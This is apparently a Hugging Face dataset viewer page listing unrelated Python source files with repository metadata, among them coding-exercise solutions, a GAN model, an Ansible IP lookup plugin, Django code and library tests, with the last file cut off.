Reset23/the-stack-v2-processed · Datasets at Hugging Face

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/interviewbit/interviewbit/pointers/three_sum_zero.py

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marquesarthur/programming_problems

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class Solution: def threeSum(self, A): A = sorted(A) n = len(A) result = set() for i in range(n): j = i + 1 k = n - 1 target = A[i] while j < k: if target + A[j] + A[k] < 0: j += 1 elif target + A[j] + A[k] > 0: k -= 1 else: result.add((A[i], A[j], A[k])) j += 1 return sorted(list(result)) # Exceeds time limit but does the job class MatrixSolution: def binarySearch(self, A, x): begin = 0 end = len(A) - 1 while begin <= end: mid = int(begin + (end - begin) / 2) if A[mid] == x: return mid elif A[mid] > x: end = mid - 1 else: begin = mid + 1 return -1 # @param A : list of integers # @return a list of list of integers def threeSum(self, A): A = sorted(A) S = list(A) n = len(A) B = [None] * len(A) for i in range(len(A)): B[i] = [None] * n for j in range(i + 1, len(A)): k = A[i] + A[j] B[i][j] = -k result = [] for i in range(n): for j in range(i + 1, n): x = B[i][j] s_aux = [x for a, x in enumerate(A) if a != i and a != j and A[a] is not None] k = self.binarySearch(s_aux, x) if k != -1 and A[i] is not None and A[j] is not None: k = self.binarySearch(S, x) aux = sorted([A[i], A[j], S[k]]) exists = False for r in result: if r[0] == aux[0] and r[1] == aux[1] and r[2] == aux[2]: exists = True break if not exists: result.append(aux) ret = [(r[0], r[1], r[2]) for r in result] return ret

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marques.art@gmail.com

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daniel-reich/ubiquitous-fiesta

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def sentence(words): result = [] if len(words) == 1: if words[0][0].lower() in "aeiou": result.append("An " + words[0].lower() + '.') else: result.append("A " + words[0].lower() + ".") elif len(words) == 2: if words[0][0].lower() in "aeiou" and words[1][0].lower() in "aeiou": result.append("An " + words[0].lower() + " and an " + words[1].lower() + '.') elif words[0][0].lower() in "aeiou" and words[1][0].lower() not in "aeiou": result.append("An " + words[0].lower() + " and a " + words[1].lower() + '.') elif words[0][0].lower() not in "aeiou" and words[1][0].lower() in "aeiou": result.append("A " + words[0].lower() + " and an " + words[1].lower() + '.') else: result.append("A " + words[0].lower() + " and a " + words[1].lower() + '.') else: for i in range(0, len(words) - 2): if i == 0: if words[i][0].lower() in "aeiou": result.append("An " + words[i].lower()) else: result.append("A " + words[i].lower()) else: if words[i][0].lower() in "aeiou": result.append("an " + words[i].lower()) else: result.append("a " + words[i].lower()) if words[-2][0].lower() in "aeiou" and words[-1][0].lower() in "aeiou": result.append("an " + words[-2].lower() + " and an " + words[-1] + ".") elif words[-2][0].lower() in "aeiou" and words[-1][0].lower() not in "aeiou": result.append("an " + words[-2].lower() + " and a " + words[-1] + ".") elif words[-2][0].lower() not in "aeiou" and words[-1][0].lower() in "aeiou": result.append("a " + words[-2].lower() + " and an " + words[-1] + ".") else: result.append("a " + words[-2].lower() + " and a " + words[-1] + ".") return ", ".join(result)

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daniel.reich@danielreichs-MacBook-Pro.local

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/Pyrado/scripts/evaluation/trn_argmax_policy_bayrn.py

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jacarvalho/SimuRLacra

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""" Script to get the maximizer of a GP's posterior given saved data from a BayRn experiment """ import os.path as osp import torch as to from pyrado.algorithms.advantage import GAE from pyrado.algorithms.bayrn import BayRn from pyrado.algorithms.cem import CEM from pyrado.algorithms.nes import NES from pyrado.algorithms.power import PoWER from pyrado.algorithms.ppo import PPO, PPO2 from pyrado.logger.experiment import ask_for_experiment from pyrado.utils.argparser import get_argparser from pyrado.utils.experiments import load_experiment from pyrado.utils.math import UnitCubeProjector if __name__ == '__main__': # Parse command line arguments args = get_argparser().parse_args() # Get the experiment's directory to load from ex_dir = ask_for_experiment() if args.ex_dir is None else args.ex_dir # Load the environment and the policy env_sim, policy, kwout = load_experiment(ex_dir, args) # Load the required data cands = to.load(osp.join(ex_dir, 'candidates.pt')) cands_values = to.load(osp.join(ex_dir, 'candidates_values.pt')).unsqueeze(1) bounds = to.load(osp.join(ex_dir, 'bounds.pt')) uc_normalizer = UnitCubeProjector(bounds[0, :], bounds[1, :]) # Decide on which algorithm to use via the mode argument if args.mode == PPO.name: critic = GAE(kwout['value_fcn'], **kwout['hparams']['critic']) subroutine = PPO(ex_dir, env_sim, policy, critic, **kwout['hparams']['subroutine']) elif args.mode == PPO2.name: critic = GAE(kwout['value_fcn'], **kwout['hparams']['critic']) subroutine = PPO2(ex_dir, env_sim, policy, critic, **kwout['hparams']['subroutine']) elif args.mode == CEM.name: subroutine = CEM(ex_dir, env_sim, policy, **kwout['hparams']['subroutine']) elif args.mode == NES.name: subroutine = NES(ex_dir, env_sim, policy, **kwout['hparams']['subroutine']) elif args.mode == PoWER.name: subroutine = PoWER(ex_dir, env_sim, policy, **kwout['hparams']['subroutine']) else: raise NotImplementedError('Only PPO, PPO2, CEM, NES, and PoWER are implemented so far.') if args.warmstart: ppi = policy.param_values.data vpi = kwout['value_fcn'].param_values.data else: ppi = None vpi = None # Train the policy on the most lucrative domain BayRn.train_argmax_policy(ex_dir, env_sim, subroutine, num_restarts=500, num_samples=1000, policy_param_init=ppi, valuefcn_param_init=vpi)

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fabio.muratore@famura.net

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subayadhav/wed05061

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2020-05-31T16:57:36.956998

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n1=input() if n1.isnumeric()==True: print("Yes") else: print("No")

[ "noreply@github.com" ]

subayadhav.noreply@github.com

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kendricktan/rarepepes

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import torch import torch.nn as nn from torch.autograd import Variable import numpy as np ############################################################################### # Functions ############################################################################### def weights_init(m): classname = m.__class__.__name__ if classname.find('Conv') != -1: m.weight.data.normal_(0.0, 0.02) elif classname.find('BatchNorm2d') != -1 or classname.find('InstanceNorm2d') != -1: m.weight.data.normal_(1.0, 0.02) m.bias.data.fill_(0) def get_norm_layer(norm_type): if norm_type == 'batch': norm_layer = nn.BatchNorm2d elif norm_type == 'instance': norm_layer = nn.InstanceNorm2d else: print('normalization layer [%s] is not found' % norm_layer) return norm_layer def define_G(input_nc, output_nc, ngf, norm='batch', use_dropout=False, gpu_ids=[]): netG = None use_gpu = len(gpu_ids) > 0 norm_layer = get_norm_layer(norm_type=norm) if use_gpu: assert(torch.cuda.is_available()) netG = UnetGenerator(input_nc, output_nc, 8, ngf, norm_layer=norm_layer, use_dropout=use_dropout, gpu_ids=gpu_ids) if len(gpu_ids) > 0: netG.cuda(device_id=gpu_ids[0]) netG.apply(weights_init) return netG def define_D(input_nc, ndf, n_layers_D=3, norm='batch', use_sigmoid=False, gpu_ids=[]): netD = None use_gpu = len(gpu_ids) > 0 norm_layer = get_norm_layer(norm_type=norm) if use_gpu: assert(torch.cuda.is_available()) netD = NLayerDiscriminator( input_nc, ndf, n_layers=3, norm_layer=norm_layer, use_sigmoid=use_sigmoid, gpu_ids=gpu_ids) if use_gpu: netD.cuda(device_id=gpu_ids[0]) netD.apply(weights_init) return netD def print_network(net): num_params = 0 for param in net.parameters(): num_params += param.numel() print(net) print('Total number of parameters: %d' % num_params) ############################################################################## # Classes ############################################################################## # Defines the GAN loss which uses either LSGAN or the regular GAN. # When LSGAN is used, it is basically same as MSELoss, # but it abstracts away the need to create the target label tensor # that has the same size as the input class GANLoss(nn.Module): def __init__(self, use_lsgan=True, target_real_label=1.0, target_fake_label=0.0, tensor=torch.FloatTensor): super(GANLoss, self).__init__() self.real_label = target_real_label self.fake_label = target_fake_label self.real_label_var = None self.fake_label_var = None self.Tensor = tensor if use_lsgan: self.loss = nn.MSELoss() else: self.loss = nn.BCELoss() def get_target_tensor(self, input, target_is_real): target_tensor = None if target_is_real: create_label = ((self.real_label_var is None) or (self.real_label_var.numel() != input.numel())) if create_label: real_tensor = self.Tensor(input.size()).fill_(self.real_label) self.real_label_var = Variable( real_tensor, requires_grad=False) target_tensor = self.real_label_var else: create_label = ((self.fake_label_var is None) or (self.fake_label_var.numel() != input.numel())) if create_label: fake_tensor = self.Tensor(input.size()).fill_(self.fake_label) self.fake_label_var = Variable( fake_tensor, requires_grad=False) target_tensor = self.fake_label_var return target_tensor def __call__(self, input, target_is_real): target_tensor = self.get_target_tensor(input, target_is_real) return self.loss(input, target_tensor) # Defines the Unet generator. # |num_downs|: number of downsamplings in UNet. For example, # if |num_downs| == 7, image of size 128x128 will become of size 1x1 # at the bottleneck class UnetGenerator(nn.Module): def __init__(self, input_nc, output_nc, num_downs, ngf=64, norm_layer=nn.BatchNorm2d, use_dropout=False, gpu_ids=[]): super(UnetGenerator, self).__init__() self.gpu_ids = gpu_ids # currently support only input_nc == output_nc assert(input_nc == output_nc) # construct unet structure unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, innermost=True) for i in range(num_downs - 5): unet_block = UnetSkipConnectionBlock( ngf * 8, ngf * 8, unet_block, norm_layer=norm_layer, use_dropout=use_dropout) unet_block = UnetSkipConnectionBlock( ngf * 4, ngf * 8, unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock( ngf * 2, ngf * 4, unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock( ngf, ngf * 2, unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock( output_nc, ngf, unet_block, outermost=True, norm_layer=norm_layer) self.model = unet_block def forward(self, input): if self.gpu_ids and isinstance(input.data, torch.cuda.FloatTensor): return nn.parallel.data_parallel(self.model, input, self.gpu_ids) else: return self.model(input) # Defines the submodule with skip connection. # X -------------------identity---------------------- X # |-- downsampling -- |submodule| -- upsampling --| class UnetSkipConnectionBlock(nn.Module): def __init__(self, outer_nc, inner_nc, submodule=None, outermost=False, innermost=False, norm_layer=nn.BatchNorm2d, use_dropout=False): super(UnetSkipConnectionBlock, self).__init__() self.outermost = outermost downconv = nn.Conv2d(outer_nc, inner_nc, kernel_size=4, stride=2, padding=1) downrelu = nn.LeakyReLU(0.2, True) downnorm = norm_layer(inner_nc, affine=True) uprelu = nn.ReLU(True) upnorm = norm_layer(outer_nc, affine=True) if outermost: upconv = nn.ConvTranspose2d(inner_nc * 2, outer_nc, kernel_size=4, stride=2, padding=1) down = [downconv] up = [uprelu, upconv, nn.Tanh()] model = down + [submodule] + up elif innermost: upconv = nn.ConvTranspose2d(inner_nc, outer_nc, kernel_size=4, stride=2, padding=1) down = [downrelu, downconv] up = [uprelu, upconv, upnorm] model = down + up else: upconv = nn.ConvTranspose2d(inner_nc * 2, outer_nc, kernel_size=4, stride=2, padding=1) down = [downrelu, downconv, downnorm] up = [uprelu, upconv, upnorm] if use_dropout: model = down + [submodule] + up + [nn.Dropout(0.5)] else: model = down + [submodule] + up self.model = nn.Sequential(*model) def forward(self, x): if self.outermost: return self.model(x) else: return torch.cat([self.model(x), x], 1) # Defines the PatchGAN discriminator with the specified arguments. class NLayerDiscriminator(nn.Module): def __init__(self, input_nc, ndf=64, n_layers=3, norm_layer=nn.BatchNorm2d, use_sigmoid=False, gpu_ids=[]): super(NLayerDiscriminator, self).__init__() self.gpu_ids = gpu_ids kw = 4 padw = int(np.ceil((kw - 1) / 2)) sequence = [ nn.Conv2d(input_nc, ndf, kernel_size=kw, stride=2, padding=padw), nn.LeakyReLU(0.2, True) ] nf_mult = 1 nf_mult_prev = 1 for n in range(1, n_layers): nf_mult_prev = nf_mult nf_mult = min(2**n, 8) sequence += [ nn.Conv2d(ndf * nf_mult_prev, ndf * nf_mult, kernel_size=kw, stride=2, padding=padw), # TODO: use InstanceNorm norm_layer(ndf * nf_mult, affine=True), nn.LeakyReLU(0.2, True) ] nf_mult_prev = nf_mult nf_mult = min(2**n_layers, 8) sequence += [ nn.Conv2d(ndf * nf_mult_prev, ndf * nf_mult, kernel_size=kw, stride=1, padding=padw), # TODO: useInstanceNorm norm_layer(ndf * nf_mult, affine=True), nn.LeakyReLU(0.2, True) ] sequence += [nn.Conv2d(ndf * nf_mult, 1, kernel_size=kw, stride=1, padding=padw)] if use_sigmoid: sequence += [nn.Sigmoid()] self.model = nn.Sequential(*sequence) def forward(self, x): if len(self.gpu_ids) and isinstance(x.data, torch.cuda.FloatTensor): return nn.parallel.data_parallel(self.model, x, self.gpu_ids) else: return self.model(x)

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kendricktan0814@gmail.com

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zedaster/ImaevIntensive

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refs/heads/main

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file = open('26-j2.txt') values = sorted(map(int, file.readlines()[1:])) medium = values[len(values)//2] avg = sum(values)/len(values) count = 0 for val in values: if min(medium, avg) <= val <= max(medium, avg): count += 1 print(count)

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# # Copyright 2018 Red Hat | Ansible # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. from __future__ import (absolute_import, division, print_function) __metaclass__ = type DOCUMENTATION = ''' --- author: Unknown (!UNKNOWN) name: nios_next_ip short_description: Return the next available IP address for a network description: - Uses the Infoblox WAPI API to return the next available IP addresses for a given network CIDR requirements: - infoblox-client extends_documentation_fragment: - community.general.nios options: _terms: description: The CIDR network to retrieve the next addresses from required: True num: description: The number of IP addresses to return required: false default: 1 exclude: description: List of IP's that need to be excluded from returned IP addresses required: false ''' EXAMPLES = """ - name: return next available IP address for network 192.168.10.0/24 ansible.builtin.set_fact: ipaddr: "{{ lookup('community.general.nios_next_ip', '192.168.10.0/24', provider={'host': 'nios01', 'username': 'admin', 'password': 'password'}) }}" - name: return the next 3 available IP addresses for network 192.168.10.0/24 ansible.builtin.set_fact: ipaddr: "{{ lookup('community.general.nios_next_ip', '192.168.10.0/24', num=3, provider={'host': 'nios01', 'username': 'admin', 'password': 'password'}) }}" - name: return the next 3 available IP addresses for network 192.168.10.0/24 excluding ip addresses - ['192.168.10.1', '192.168.10.2'] ansible.builtin.set_fact: ipaddr: "{{ lookup('community.general.nios_next_ip', '192.168.10.0/24', num=3, exclude=['192.168.10.1', '192.168.10.2'], provider={'host': 'nios01', 'username': 'admin', 'password': 'password'}) }}" """ RETURN = """ _list: description: - The list of next IP addresses available type: list """ from ansible.plugins.lookup import LookupBase from ansible_collections.community.general.plugins.module_utils.net_tools.nios.api import WapiLookup from ansible.module_utils._text import to_text from ansible.errors import AnsibleError class LookupModule(LookupBase): def run(self, terms, variables=None, **kwargs): try: network = terms[0] except IndexError: raise AnsibleError('missing argument in the form of A.B.C.D/E') provider = kwargs.pop('provider', {}) wapi = WapiLookup(provider) network_obj = wapi.get_object('network', {'network': network}) if network_obj is None: raise AnsibleError('unable to find network object %s' % network) num = kwargs.get('num', 1) exclude_ip = kwargs.get('exclude', []) try: ref = network_obj[0]['_ref'] avail_ips = wapi.call_func('next_available_ip', ref, {'num': num, 'exclude': exclude_ip}) return [avail_ips['ips']] except Exception as exc: raise AnsibleError(to_text(exc))

[ "test@burdo.fr" ]

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from django.core.mail import send_mail from django.template.loader import render_to_string from django.core.mail import EmailMultiAlternatives import os import ipdb class EmailService: """Service for email sending.""" SENDER = 'Anymail Sender <from@example.com>' @classmethod def send_interview_reminder(cls, user, vacancy, interview): """Send mail with remainding about upcoming interview.""" params = { 'vacancy': vacancy, 'interview': interview } msg = render_to_string('interview_reminder.html', params) topic = 'Upcoming interview notification' emails = [user] cls._send_default_mail(topic, msg, emails) @classmethod def send_interview_invintation(cls, users, vacancy, interview): """Send email with interview invintation.""" params = { 'vacancy': vacancy, 'interview': interview } msg = render_to_string('interview_invitation.html', params) topic = 'Interview invintation' cls._send_default_mail(topic, msg, users) @classmethod def sent_personal_employee_invite(cls, user, token, company): """Send email notificaiton about invintation into the company.""" link_url = '{}/auth/invite'.format( os.environ['DEFAULT_CLIENT_HOST'] ) msg = render_to_string('company_invite.html', { 'company': company, 'link_url': link_url, 'token': token} ) topic = "Company invite mail" cls._send_default_mail(topic, msg, [user]) @classmethod def send_reset_password_mail(cls, user, token): """Send reset password email.""" reset_link = '{}/auth/reset-password'.format( os.environ['DEFAULT_CLIENT_HOST']) msg = render_to_string('reset_password.html', { 'reset_link_url': reset_link, 'token': token} ) topic = 'Reset password' cls._send_default_mail(topic, msg, [user]) @classmethod def send_company_invite_confirmation(cls, user, company): """Send email with approvement of invite confirmation.""" company_link = '{}/companies/{}/'.format( os.environ['DEFAULT_CLIENT_HOST'], company.id ) msg = render_to_string('company_invite_final.html', { 'link_url': company_link, 'user': user, 'company': company }) topic = 'Invite confirmation' cls._send_default_mail(topic, msg, [user]) @classmethod def _send_default_mail(cls, topic, message, mails): """Send mail with full attributes.""" send_mail(topic, message, cls.SENDER, mails)

[ "vforvad@gmail.com" ]

vforvad@gmail.com

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e3b9e8ec177e2b4c8bf24bbfefd7b2af4cd51e80

/search/InitializationError.py

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[]

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dmitriyVasilievich1986/radius-logs-parser

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refs/heads/main

2023-06-02T23:26:09.001345

2021-06-25T13:00:05

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from .Config import V3 class InitializationError(Exception): def __init__(self, *args, **kwargs): if V3: super().__init__(*args, **kwargs) else: super(Exception, self).__init__(*args, **kwargs)

[ "dmitriyvasil@gmail.com" ]

dmitriyvasil@gmail.com

046a2b58fd3c8b67a19b77e17be9792baf525356

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/tools/leetcode.189.Rotate Array/leetcode.189.Rotate Array.submission6.py

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refs/heads/master

2021-01-01T19:06:06.408135

2015-10-24T06:44:40

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class Solution: # @param nums, a list of integer # @param k, num of steps # @return nothing, please modify the nums list in-place. def rotate(self, nums, k): if not nums or k == 0: return k = len(nums) - k%len(nums) for i in range(k): nums.append(nums.pop(0))

[ "tedye@bu.edu" ]

tedye@bu.edu

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/Hard/longestIncreasingSeq/longestIncreasingSeq_test.py

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[]

no_license

rongfeng-china/python-algorithms-and-data-structures

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a69241bb7b684bc7d00acdd46c2fc214f7b61887

refs/heads/master

2020-03-13T09:08:13.375870

2015-12-11T07:37:30

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py

from longestIncreasingSeq import longestIncreasingSeq import pytest def test_longestIncreasingSeq(): arr = [13,14,10,11,12] res = longestIncreasingSeq(arr) assert(res == [10,11,12])

[ "prathamt@outlook.com" ]

prathamt@outlook.com

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/openapi_client/models/waas_network_controls.py

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[]

no_license

hi-artem/twistlock-py

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2023-07-18T07:57:57.705014

2021-08-22T04:36:33

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# coding: utf-8 """ Prisma Cloud Compute API No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the OpenAPI document: 21.04.439 Generated by: https://openapi-generator.tech """ try: from inspect import getfullargspec except ImportError: from inspect import getargspec as getfullargspec import pprint import re # noqa: F401 import six from openapi_client.configuration import Configuration class WaasNetworkControls(object): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. """ """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ openapi_types = { 'advanced_protection_effect': 'WaasEffect', 'countries': 'WaasAccessControls', 'exception_subnets': 'list[str]', 'subnets': 'WaasAccessControls' } attribute_map = { 'advanced_protection_effect': 'advancedProtectionEffect', 'countries': 'countries', 'exception_subnets': 'exceptionSubnets', 'subnets': 'subnets' } def __init__(self, advanced_protection_effect=None, countries=None, exception_subnets=None, subnets=None, local_vars_configuration=None): # noqa: E501 """WaasNetworkControls - a model defined in OpenAPI""" # noqa: E501 if local_vars_configuration is None: local_vars_configuration = Configuration.get_default_copy() self.local_vars_configuration = local_vars_configuration self._advanced_protection_effect = None self._countries = None self._exception_subnets = None self._subnets = None self.discriminator = None if advanced_protection_effect is not None: self.advanced_protection_effect = advanced_protection_effect if countries is not None: self.countries = countries if exception_subnets is not None: self.exception_subnets = exception_subnets if subnets is not None: self.subnets = subnets @property def advanced_protection_effect(self): """Gets the advanced_protection_effect of this WaasNetworkControls. # noqa: E501 :return: The advanced_protection_effect of this WaasNetworkControls. # noqa: E501 :rtype: WaasEffect """ return self._advanced_protection_effect @advanced_protection_effect.setter def advanced_protection_effect(self, advanced_protection_effect): """Sets the advanced_protection_effect of this WaasNetworkControls. :param advanced_protection_effect: The advanced_protection_effect of this WaasNetworkControls. # noqa: E501 :type advanced_protection_effect: WaasEffect """ self._advanced_protection_effect = advanced_protection_effect @property def countries(self): """Gets the countries of this WaasNetworkControls. # noqa: E501 :return: The countries of this WaasNetworkControls. # noqa: E501 :rtype: WaasAccessControls """ return self._countries @countries.setter def countries(self, countries): """Sets the countries of this WaasNetworkControls. :param countries: The countries of this WaasNetworkControls. # noqa: E501 :type countries: WaasAccessControls """ self._countries = countries @property def exception_subnets(self): """Gets the exception_subnets of this WaasNetworkControls. # noqa: E501 Network lists for which requests completely bypass WAAS checks and protections. # noqa: E501 :return: The exception_subnets of this WaasNetworkControls. # noqa: E501 :rtype: list[str] """ return self._exception_subnets @exception_subnets.setter def exception_subnets(self, exception_subnets): """Sets the exception_subnets of this WaasNetworkControls. Network lists for which requests completely bypass WAAS checks and protections. # noqa: E501 :param exception_subnets: The exception_subnets of this WaasNetworkControls. # noqa: E501 :type exception_subnets: list[str] """ self._exception_subnets = exception_subnets @property def subnets(self): """Gets the subnets of this WaasNetworkControls. # noqa: E501 :return: The subnets of this WaasNetworkControls. # noqa: E501 :rtype: WaasAccessControls """ return self._subnets @subnets.setter def subnets(self, subnets): """Sets the subnets of this WaasNetworkControls. :param subnets: The subnets of this WaasNetworkControls. # noqa: E501 :type subnets: WaasAccessControls """ self._subnets = subnets def to_dict(self, serialize=False): """Returns the model properties as a dict""" result = {} def convert(x): if hasattr(x, "to_dict"): args = getfullargspec(x.to_dict).args if len(args) == 1: return x.to_dict() else: return x.to_dict(serialize) else: return x for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) attr = self.attribute_map.get(attr, attr) if serialize else attr if isinstance(value, list): result[attr] = list(map( lambda x: convert(x), value )) elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], convert(item[1])), value.items() )) else: result[attr] = convert(value) return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, WaasNetworkControls): return False return self.to_dict() == other.to_dict() def __ne__(self, other): """Returns true if both objects are not equal""" if not isinstance(other, WaasNetworkControls): return True return self.to_dict() != other.to_dict()

[ "aakatev@virtru.com" ]

aakatev@virtru.com

b174000a9efc0a2cfcad23ba2a171ed686f20bdf

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/flask/flasky-master/app/__init__.py

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chenzhenpin/py_test

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refs/heads/master

2022-12-27T10:21:54.114869

2018-12-06T02:04:31

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null

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from flask import Flask from flask_bootstrap import Bootstrap from flask_mail import Mail from flask_moment import Moment from flask_sqlalchemy import SQLAlchemy from flask_login import LoginManager from flask_pagedown import PageDown from config import config bootstrap = Bootstrap() mail = Mail() moment = Moment() db = SQLAlchemy() pagedown = PageDown() login_manager = LoginManager() login_manager.session_protection = 'strong' login_manager.login_view = 'auth.login' def create_app(config_name): app = Flask(__name__) app.config.from_object(config[config_name]) config[config_name].init_app(app) bootstrap.init_app(app) mail.init_app(app) moment.init_app(app) db.init_app(app) login_manager.init_app(app) pagedown.init_app(app) if not app.debug and not app.testing and not app.config['SSL_DISABLE']: from flask_sslify import SSLify sslify = SSLify(app) from .main import main as main_blueprint app.register_blueprint(main_blueprint) from .auth import auth as auth_blueprint app.register_blueprint(auth_blueprint, url_prefix='/auth') from .api_1_0 import api as api_1_0_blueprint app.register_blueprint(api_1_0_blueprint, url_prefix='/api/v1.0') return app

[ "1595347682@qq.com" ]

1595347682@qq.com

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/myapp/migrations/0002_delete_test.py

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[]

no_license

tlaboni-ecl/Demo_project

7c671498c8f0f65520552c884b274cbbd2aea47c

9ed5427d504e830df65ec1e8b17f218feb92ad83

refs/heads/main

2022-12-20T17:08:58.545689

2020-10-17T20:19:52

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py

# Generated by Django 2.1.5 on 2020-10-17 06:00 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('myapp', '0001_initial'), ] operations = [ migrations.DeleteModel( name='test', ), ]

[ "you@domain.com" ]

you@domain.com

cc9fc4571d0de756eca3429627552998a832d55c

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/ibis/pandas/tests/test_udf.py

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brandonwillard/ibis

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import pytest import numpy as np import pandas as pd import pandas.util.testing as tm import ibis import ibis.expr.types as ir import ibis.expr.datatypes as dt from ibis.pandas.udf import udf, udaf, nullable from ibis.pandas.dispatch import pause_ordering with pause_ordering(): @udf(input_type=[dt.string], output_type=dt.int64) def my_string_length(series, **kwargs): return series.str.len() * 2 @udaf(input_type=[dt.string], output_type=dt.int64) def my_string_length_sum(series, **kwargs): return (series.str.len() * 2).sum() @udaf(input_type=[dt.double, dt.double], output_type=dt.double) def my_corr(lhs, rhs, **kwargs): return lhs.corr(rhs) @udf([dt.double], dt.double) def add_one(x): return x + 1.0 @udf([dt.double], dt.double) def times_two(x, scope=None): return x * 2.0 def test_udf(): df = pd.DataFrame({'a': list('abc')}) con = ibis.pandas.connect({'df': df}) t = con.table('df') expr = my_string_length(t.a) assert isinstance(expr, ir.ColumnExpr) result = expr.execute() expected = t.a.execute().str.len().mul(2) tm.assert_series_equal(result, expected) def test_udaf(): df = pd.DataFrame({'a': list('cba')}) con = ibis.pandas.connect({'df': df}) t = con.table('df') expr = my_string_length_sum(t.a) assert isinstance(expr, ir.ScalarExpr) result = expr.execute() expected = t.a.execute().str.len().mul(2).sum() assert result == expected def test_udaf_in_groupby(): df = pd.DataFrame({ 'a': np.arange(4, dtype=float).tolist() + np.random.rand(3).tolist(), 'b': np.arange(4, dtype=float).tolist() + np.random.rand(3).tolist(), 'key': list('ddeefff')}) con = ibis.pandas.connect({'df': df}) t = con.table('df') expr = t.groupby(t.key).aggregate(my_corr=my_corr(t.a, t.b)) assert isinstance(expr, ir.TableExpr) result = expr.execute().sort_values('key') dfi = df.set_index('key') expected = pd.DataFrame({ 'key': list('def'), 'my_corr': [ dfi.loc[value, 'a'].corr(dfi.loc[value, 'b']) for value in 'def' ] }) columns = ['key', 'my_corr'] tm.assert_frame_equal(result[columns], expected[columns]) def test_nullable(): t = ibis.table([('a', 'int64')]) assert nullable(t.a.type()) == (type(None),) @pytest.mark.xfail( raises=AssertionError, reason='Nullability is not propagated') def test_nullable_non_nullable_field(): t = ibis.table([('a', dt.String(nullable=False))]) assert nullable(t.a.type()) == () def test_udaf_parameter_mismatch(): with pytest.raises(Exception): @udaf(input_type=[dt.double], output_type=dt.double) def my_corr(lhs, rhs, **kwargs): pass def test_udf_parameter_mismatch(): with pytest.raises(Exception): @udf(input_type=[], output_type=dt.double) def my_corr2(lhs, **kwargs): return 1.0 def test_call_multiple_udfs(): df = pd.DataFrame({ 'a': np.arange(4, dtype=float).tolist() + np.random.rand(3).tolist(), 'b': np.arange(4, dtype=float).tolist() + np.random.rand(3).tolist(), 'key': list('ddeefff')}) con = ibis.pandas.connect({'df': df}) t = con.table('df') expr = times_two(add_one(t.a)) result = expr.execute() expected = df.a.add(1.0).mul(2.0) tm.assert_series_equal(expected, result)

[ "cpcloud@gmail.com" ]

cpcloud@gmail.com

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/reagent/test/gridworld/test_gridworld_pytorch.py

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cts198859/ReAgent

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refs/heads/master

2022-09-15T13:08:24.732208

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BSD-3-Clause

2020-05-29T05:51:43

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#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. All rights reserved. import os import random import tempfile import unittest import numpy as np import reagent.models as models import reagent.types as rlt import torch from reagent.parameters import ( DiscreteActionModelParameters, NormalizationData, RainbowDQNParameters, RLParameters, TrainingParameters, ) from reagent.prediction.dqn_torch_predictor import DiscreteDqnTorchPredictor from reagent.prediction.predictor_wrapper import ( DiscreteDqnPredictorWrapper, DiscreteDqnWithPreprocessor, ) from reagent.preprocessing.normalization import get_num_output_features from reagent.preprocessing.preprocessor import Preprocessor from reagent.test.gridworld.gridworld import Gridworld from reagent.test.gridworld.gridworld_base import DISCOUNT, Samples from reagent.test.gridworld.gridworld_evaluator import GridworldEvaluator from reagent.test.gridworld.gridworld_test_base import GridworldTestBase from reagent.torch_utils import export_module_to_buffer from reagent.training.c51_trainer import C51Trainer, C51TrainerParameters from reagent.training.dqn_trainer import DQNTrainer, DQNTrainerParameters from reagent.training.qrdqn_trainer import QRDQNTrainer, QRDQNTrainerParameters class TestGridworld(GridworldTestBase): def setUp(self): self.minibatch_size = 512 np.random.seed(0) random.seed(0) torch.manual_seed(0) super().setUp() def get_sarsa_parameters( self, environment, reward_shape, dueling, categorical, quantile, clip_grad_norm ): rl_parameters = RLParameters( gamma=DISCOUNT, target_update_rate=1.0, maxq_learning=False, reward_boost=reward_shape, ) training_parameters = TrainingParameters( layers=[-1, 128, -1] if dueling else [-1, -1], activations=["relu", "relu"] if dueling else ["linear"], minibatch_size=self.minibatch_size, learning_rate=0.05, optimizer="ADAM", clip_grad_norm=clip_grad_norm, ) return DiscreteActionModelParameters( actions=environment.ACTIONS, rl=rl_parameters, training=training_parameters, rainbow=RainbowDQNParameters( double_q_learning=True, dueling_architecture=dueling, categorical=categorical, quantile=quantile, num_atoms=5, ), ) def get_modular_sarsa_trainer( self, environment, dueling, categorical, quantile, use_gpu=False, use_all_avail_gpus=False, clip_grad_norm=None, ): return self.get_modular_sarsa_trainer_reward_boost( environment, {}, dueling=dueling, categorical=categorical, quantile=quantile, use_gpu=use_gpu, use_all_avail_gpus=use_all_avail_gpus, clip_grad_norm=clip_grad_norm, ) def get_modular_sarsa_trainer_reward_boost( self, environment, reward_shape, dueling, categorical, quantile, use_gpu=False, use_all_avail_gpus=False, clip_grad_norm=None, ): assert not quantile or not categorical parameters = self.get_sarsa_parameters( environment, reward_shape, dueling, categorical, quantile, clip_grad_norm ) state_normalization_parameters = environment.normalization def make_dueling_dqn(num_atoms=None): return models.DuelingQNetwork.make_fully_connected( state_dim=get_num_output_features(state_normalization_parameters), action_dim=len(environment.ACTIONS), layers=parameters.training.layers[1:-1], activations=parameters.training.activations[:-1], num_atoms=num_atoms, ) if quantile: if dueling: q_network = make_dueling_dqn(num_atoms=parameters.rainbow.num_atoms) else: q_network = 